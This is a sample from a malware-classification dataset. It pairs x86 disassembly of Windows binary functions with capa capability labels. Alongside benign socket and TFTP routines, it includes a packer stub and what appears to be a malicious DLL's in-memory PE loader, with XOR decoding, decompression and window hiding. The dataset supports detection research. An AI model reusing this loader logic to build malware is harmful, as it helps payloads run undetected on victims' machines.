joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49d790
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
push edi
push 0
mov byte [esp + 0x16], al
lea eax, [esp + 0x14]
mov edi, dword [esi]
push 3
push eax
push dword [esi + 0x420]
mov byte [esp + 0x20], 0xff
mov byte [esp + 0x21], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x49d7dc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.0047af70
add esp, 0xc
push dword [esp + 0x18]
push ebx
push str.SENT
push dword [esi]
call fcn.0049d3a0
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x49d910
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
cmp dword [esp + 0xc], 0x1f
mov eax, dword [esp + 8]
push ebx
mov eax, dword [eax]
mov dword [esp + 4], eax
mov ebx, dword [eax + 0x14c]
jne 0x49da5e
push ebp
push edi
lea ebp, [ebx + 0x1cb0]
lea edi, [ebx + 0x1eb0]
mov dword [edi], ebp
cmp ebp, edi
jae 0x49d95e
lea eax, [ebp + 1]
mov byte [ebp], 0xff
mov dword [edi], eax
cmp eax, edi
jae 0x49d95e
mov byte [eax], 0xfa
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x49d95e
mov byte [eax], 0x1f
inc dword [edi]
movzx eax, word [ebx + 0x1ca8]
push esi
mov esi, dword [sym.imp.WS2_32.dll_htons]
push eax
call esi
movzx eax, ax
mov dword [esp + 0x1c], eax
movzx eax, word [ebx + 0x1caa]
push eax
call esi
mov edx, dword [esp + 0x1c]
movzx ecx, ax
mov eax, dword [edi]
cmp eax, edi
jae 0x49d9c9
mov byte [eax], dl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x49d9c9
mov byte [eax], dh
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x49d9c9
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x49d9c9
shr ecx, 8
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x49d9c9
mov byte [eax], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x49d9c9
mov byte [eax], 0xf0
mov eax, dword [edi]
inc eax
mov esi, dword [esp + 0x10]
mov dword [ebx + 0x1eb4], eax
sub eax, ebp
sub eax, 2
mov dword [edi], ebp
push eax
lea eax, [ebx + 0x1cb2]
push eax
push 0x3e
push esi
call fcn.0049d4a0
mov edi, dword [esp + 0x28]
add esp, 0x10
push 0
push 3
push ebp
push dword [edi + 0x420]
call dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jns 0x49da1d
call ebp
push eax
push str.Sending_data_failed___d_
push esi
call fcn.0047af70
add esp, 0xc
push 4
lea eax, [ebx + 0x1cb3]
push eax
push edi
call fcn.0049d800
add esp, 0xc
lea eax, [ebx + 0x1cb7]
push 0
push 2
push eax
push dword [edi + 0x420]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x49da5b
call ebp
push eax
push str.Sending_data_failed___d_
push esi
call fcn.0047af70
add esp, 0xc
pop esi
pop edi
pop ebp
pop ebx
pop ecx
ret
Function at 0x49ef10
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8c
mov eax, dword [0x529034]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push ebp
mov ebp, dword [esp + 0x98]
lea eax, [esp + 8]
push esi
push edi
push eax
mov edi, dword [ebp + 0x720]
lea eax, [esp + 0x1c]
mov ebx, dword [ebp]
push eax
mov dword [esp + 0x18], 0x80
mov eax, dword [edi + 0x154]
push 0
add eax, 4
push eax
push dword [edi + 0x15c]
push dword [edi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [edi + 0x148], 0
mov dword [edi + 0x14c], eax
jne 0x49ef96
push dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
lea eax, [edi + 0xc8]
push eax
call fcn.004b4730
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [edi + 0x148], eax
mov esi, dword [edi + 0x14c]
cmp esi, 4
jge 0x49efd1
push str.Received_too_short_packet
push ebx
call fcn.0047af70
add esp, 8
mov dword [edi + 0xc], 7
xor eax, eax
mov ecx, dword [esp + 0x98]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b0726
add esp, 0x8c
ret
mov edx, dword [edi + 0x15c]
movzx ecx, byte [edx]
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
mov dword [edi + 0xc], ecx
add ecx, 0xfffffffd
cmp ecx, 3
ja case.default.0x49eff2
jmp dword [ecx*4 + 0x49f104]
cmp esi, 4
jle case.0x49eff2.4
movzx ecx, byte [edx + 2]
movzx eax, byte [edx + 3]
shl ecx, 8
or ecx, eax
movzx eax, word [edi + 0x40]
inc eax
movzx eax, ax
cmp eax, ecx
jne case.0x49eff2.4
lea eax, [esi - 4]
push eax
lea eax, [edx + 4]
push eax
push 1
push ebp
call fcn.0047aeb0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x49f04a
push 5
push edi
call fcn.0049faa0
add esp, 8
mov eax, esi
jmp 0x49efb8
mov eax, dword [edi + 0x14c]
sub eax, 4
cdq
add dword [ebx + 0x98], eax
adc dword [ebx + 0x9c], edx
push dword [ebx + 0x9c]
push dword [ebx + 0x98]
push ebx
call fcn.00489210
jmp 0x49f0da
movzx ecx, byte [edx + 2]
lea eax, [edx + 4]
mov dword [esp + 0x14], eax
add esi, 0xfffffffc
movzx eax, byte [edx + 3]
shl ecx, 8
or ecx, eax
lea eax, [edx + 4]
push esi
push eax
mov dword [edi + 8], ecx
call fcn.0049ebf0
add esp, 8
cmp eax, esi
jae case.0x49eff2.4
push dword [esp + 0x14]
push str.TFTP_error:__s_n
push ebx
call fcn.0047b050
jmp 0x49f0da
lea eax, [esi - 2]
push eax
lea eax, [edx + 2]
push eax
push edi
call fcn.0049eca0
add esp, 0xc
test eax, eax
je case.0x49eff2.4
jmp 0x49efb8
push str.Internal_error:_Unexpected_packet
push 0x4fa1fc
push ebx
call fcn.0047af70
add esp, 0xc
push ebp
call fcn.004895e0
add esp, 4
test eax, eax
je 0x49efb6
push 5
push edi
call fcn.0049faa0
add esp, 8
mov eax, 0x2a
jmp 0x49efb8
Function at 0x4ae5a0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x529034]
xor eax, esp
mov dword [esp + 0x20], eax
push edi
mov edi, dword [esp + 0x30]
lea eax, [esp + 4]
push 0xf0000000
push 1
push 0
push 0
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4ae6a0
push esi
mov esi, dword [esp + 0x38]
push 8
mov dword [esp + 0x18], 0x208
mov dword [esp + 0x1c], 0x6601
mov dl, byte [esi + 1]
mov cl, byte [esi]
mov al, dl
shr al, 1
mov byte [esp + 0x24], cl
shl cl, 7
or al, cl
shl dl, 6
mov cl, byte [esi + 2]
mov byte [esp + 0x25], al
mov al, cl
shr al, 2
or al, dl
shl cl, 5
mov dl, byte [esi + 3]
mov byte [esp + 0x26], al
mov al, dl
shr al, 3
or al, cl
shl dl, 4
mov cl, byte [esi + 4]
mov byte [esp + 0x27], al
mov al, cl
shr al, 4
or al, dl
shl cl, 3
mov dl, byte [esi + 5]
mov byte [esp + 0x28], al
mov al, dl
shr al, 5
or al, cl
shl dl, 2
mov cl, byte [esi + 6]
mov byte [esp + 0x29], al
mov al, cl
shr al, 6
add cl, cl
or al, dl
mov dword [esp + 0x20], 8
mov byte [esp + 0x2a], al
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0x2f], cl
call fcn.004b04a0
add esp, 8
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
pop esi
test eax, eax
jne 0x4ae6b2
push eax
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor al, al
pop edi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004b0726
add esp, 0x24
ret
mov ecx, dword [esp + 0x2c]
push dword [esp + 8]
mov eax, dword [ecx]
mov dword [edi], eax
mov eax, dword [ecx + 4]
mov dword [edi + 4], eax
lea eax, [esp + 0xc]
push eax
push edi
push 0
push 0
push 0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x24]
mov al, 1
pop edi
xor ecx, esp
call fcn.004b0726
add esp, 0x24
ret
Function at 0x4b0500
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4b0545
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x8002
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push dword [esp + 0x18]
call fcn.00445980
add esp, 4
push 0
push eax
push dword [esp + 0x1c]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
push 0
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [esp], 0x10
jne 0x4b059c
push 0
lea eax, [esp + 4]
push eax
push dword [esp + 0x18]
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [esp + 8]
test eax, eax
je 0x4b05ab
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [esp + 4]
test eax, eax
je 0x4b05bc
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
add esp, 0xc
ret

Function at 0x4b0610
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [section..data]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4b0637
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x4b0682
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov ecx, dword [edi + 4]
mov dword [esp + 0x20], ebx
jmp 0x4b0686
mov ebp, dword [esp + 0x1c]
mov eax, dword [esi]
push ecx
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4b06e6
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub ebx, 1
jne 0x4b06a5
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x4b0717
nop dword [eax + eax]
mov eax, dword [esi + 4]
push 1
push 0x4fedd6
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x4fedd7
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4b06f0
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x4ce4e4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ce363

Function at 0x4d1537
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004d11f7

Function at 0x4daa68
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x419a20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.IaDsgWGk
lea edi, [esi - 0x10000]
push edi
or ebp, 0xffffffff
jmp 0x419a42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419a49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419a38
mov eax, 1
add ebx, ebx
jne 0x419a5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419a50
jne 0x419a6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419a50
xor ecx, ecx
sub eax, 3
jb 0x419a80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419af2
mov ebp, eax
add ebx, ebx
jne 0x419a8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419a98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x419abc
inc ecx
add ebx, ebx
jne 0x419aa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x419a9d
jne 0x419ab9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419a9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x419adc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x419acd
jmp 0x419a3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x419adc
add edi, ecx
jmp 0x419a3e
pop esi
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x419b44
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x199f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19a74]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x419af9
mov ecx, edi
jns 0x419b28
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19a7c]
or eax, eax
je 0x419b3e
mov dword [ebx], eax
add ebx, 4
jmp 0x419b16
call dword [esi + 0x19a78]
mov ebp, dword [esi + 0x19a80]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419b78
sub esp, 0xffffff80
jmp section.VHqxTUpa
Function at 0x10001b51
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
push ebx
push esi
push edi
cmp word [eax], cx
jne 0x10001cd3
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10001cd3
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push dword [ebx + 0x50]
push dword [ebx + 0x34]
call edi
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
jne 0x10001bb5
push 4
push 0x3000
push dword [ebx + 0x50]
push eax
call edi
mov esi, eax
mov dword [ebp - 4], eax
test esi, esi
jne 0x10001bb5
push 0xe
jmp 0x10001cd8
push 0x24
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x10001be6
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x8000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10001cde
xor eax, eax
mov dword [edi + 4], esi
mov dword [edi + 0xc], eax
mov dword [edi + 8], eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x18], eax
mov eax, dword [ebp + 0x14]
push 4
mov dword [edi + 0x1c], eax
mov eax, dword [ebp + 0x18]
push 0x1000
mov dword [edi + 0x20], eax
push dword [ebx + 0x54]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebx + 0x54]
mov esi, eax
push dword [ebp + 8]
push esi
call fcn.10138800
mov edx, dword [ebp + 8]
push edi
push ebx
push edx
mov eax, dword [edx + 0x3c]
add eax, esi
mov esi, dword [ebp - 4]
mov dword [edi], eax
mov dword [eax + 0x34], esi
call fcn.10002111
mov eax, esi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x10001c56
push eax
push edi
call fcn.1000227c
pop ecx
pop ecx
push edi
call fcn.10001fcd
pop ecx
test eax, eax
je 0x10001cbf
push edi
call fcn.100021b7
mov eax, dword [edi]
pop ecx
mov ebx, dword [eax + 0xc0]
test ebx, ebx
je 0x10001c9e
mov eax, dword [edi + 4]
mov dword [ebp + 8], eax
mov ebx, dword [ebx + eax + 0xc]
test ebx, ebx
je 0x10001c9e
mov eax, dword [ebx]
test eax, eax
je 0x10001c9e
mov esi, dword [ebp + 8]
push 0
push 1
push esi
call eax
lea ebx, [ebx + 4]
mov eax, dword [ebx]
test eax, eax
jne 0x10001c8b
mov esi, dword [ebp - 4]
mov eax, dword [edi]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10001ccf
push 0
push 1
push esi
add eax, esi
call eax
test eax, eax
jne 0x10001cc8
push 0x45a
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
call fcn.10001d6d
pop ecx
jmp 0x10001cde
mov dword [edi + 0x10], 1
mov eax, edi
jmp 0x10001ce0
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002468
Capabilities:
Compress data via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
jne 0x10002491
push str.Load_dll_error__n
call fcn.10002a69
pop ecx
xor eax, eax
jmp 0x10002522
push str.RtlDecompressBuffer
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
test eax, eax
jne 0x100024af
push str.Load_function_error__n
call fcn.10002a69
pop ecx
and dword [ebp - 4], 0
push ebx
push esi
mov ebx, 0x1000
push ebx
jmp 0x100024f2
push ebx
push 0
push esi
call fcn.10138d80
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
push esi
push 2
call dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp ebx, ecx
jae 0x1000250c
test esi, esi
je 0x100024ef
push esi
call fcn.10002ac2
pop ecx
mov ecx, dword [ebp - 4]
mov ebx, ecx
push ecx
call fcn.10002ab9
mov esi, eax
pop ecx
test esi, esi
jne 0x100024bd
push str.new_memory_error__n
call fcn.10002a69
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
push edi
mov dword [eax], esi
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop esi
inc eax
pop ebx
pop edi
leave
ret
Function at 0x10002717
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x68
mov eax, 0x86
mov ebx, dword [ebp + 8]
mov word [ebp - 0x14], ax
xor edx, edx
pop eax
push 0x66
mov word [ebp - 0x12], ax
xor edi, edi
pop eax
mov word [ebp - 0x10], ax
mov esi, edi
mov ax, word [ebp + 0x10]
mov word [ebp - 0xe], ax
xor eax, eax
push 3
pop ecx
inc eax
mov word [ebp - 0xa], cx
push 5
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 8], ax
push 7
pop eax
mov word [ebp - 6], ax
push 9
pop eax
mov word [ebp - 4], ax
mov eax, dword [ebp + 0xc]
div ecx
mov dword [ebp + 0x10], eax
test eax, eax
je 0x1000279b
xor edx, edx
movzx ecx, di
push 9
pop eax
cmp di, ax
cmovne edx, ecx
movzx ecx, dx
mov al, byte [ebp + ecx*2 - 0x14]
xor byte [ebx + esi], al
inc esi
lea eax, [ecx + 1]
movzx edi, ax
cmp esi, dword [ebp + 0x10]
jb 0x10002777
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100027a0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
xor edx, edx
push esi
push 0x5f
pop ecx
div ecx
mov esi, dword [ebp + 0xc]
add dl, 0x58
test esi, esi
je 0x100027ca
mov ecx, dword [ebp + 8]
mov al, byte [ecx]
xor al, dl
add al, dl
mov byte [ecx], al
inc ecx
sub esi, 1
jne 0x100027bc
pop esi
pop ebp
ret

Function at 0x100027cd
Capabilities:
Get common file path

Disassembly:
mov eax, 0x1015c55c
call fcn.10002de4
sub esp, 0x140
push ebx
push esi
xor ebx, ebx
lea eax, [ebp - 0x14c]
push ebx
push 0x2e
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xa8c25c5c
push eax
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x14], 0x742ebec4
push eax
mov word [ebp - 0x10], 0x7478
mov byte [ebp - 0xe], bl
call fcn.1013d5f0
pop ecx
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.1000514e
push ebx
push 0x1001
lea eax, [ebp - 0x14c]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x4c]
call fcn.10005612
push str.20241212
lea ecx, [ebp - 0x4c]
call fcn.10005a12
lea ecx, [ebp - 0x4c]
call fcn.1000536e
lea eax, [ebp - 0x14c]
push 0x1016bcc8
push eax
call fcn.1013da30
pop ecx
pop ecx
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push 0x1016bc58
push esi
call fcn.10002a50
add esp, 0xc
cmp eax, 0xffffffff
jne 0x10002865
push esi
call fcn.1013d949
cmp dword [ebp - 0x1c], 0
pop ecx
je 0x10002850
push 8
pop eax
push dword [ebp - 0x1c]
mov esi, 0x101b4054
mov dword [ebp - 0x2c], eax
push dword [0x101b404c]
mov dword [ebp - 0x28], 1
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ebx
call fcn.10002717
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
push dword [0x101b404c]
push esi
call fcn.10002468
push dword [0x101b4050]
push dword [0x101b404c]
push esi
call fcn.100027a0
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [0x101b404c]
neg eax
push eax
push esi
call fcn.10002525
push esi
call fcn.10001b30
push dword [ebp + 8]
mov esi, eax
push esi
call fcn.10001ce5
add esp, 0x40
call eax
test esi, esi
je 0x10002909
push esi
call fcn.10001d6d
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.10005181
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000291f
Capabilities:
Hide graphical window

Disassembly:
push str.LDYUNUPLOAD
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10002944
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.xiaoyao
call fcn.100027cd
pop ecx
ret
Function at 0x10004f0d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10004f66
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10004f66
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 0x10]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x10004f57
cmp esi, ecx
jae 0x10004f66
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x10004f45
cmp esi, ecx
jae 0x10004f66
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
jmp 0x10004f68
xor eax, eax
pop esi
pop ebp
ret

Function at 0x10005737
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
push esi
push edi
mov esi, ecx
jne 0x10005748
xor eax, eax
jmp 0x1000578e
cmp dword [ebp + 8], 0
je 0x10005794
push dword [esi + 0x14]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.10148feb
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x10005774
push dword [esi + 0x14]
call fcn.10148760
pop ecx
test eax, eax
je 0x10005799
push dword [esi + 0x14]
call fcn.1014878c
pop ecx
test eax, eax
je 0x1000578c
push dword [esi + 0x14]
call fcn.10005359
pop ecx
jmp 0x10005799
mov eax, edi
pop edi
pop esi
pop ebp
ret 8
call fcn.100039bf
lea ecx, [esi + 0xc]
call fcn.10003e44
mov esi, eax
call fcn.10147be3
push esi
push dword [eax]
push 1
call fcn.10007e77
int3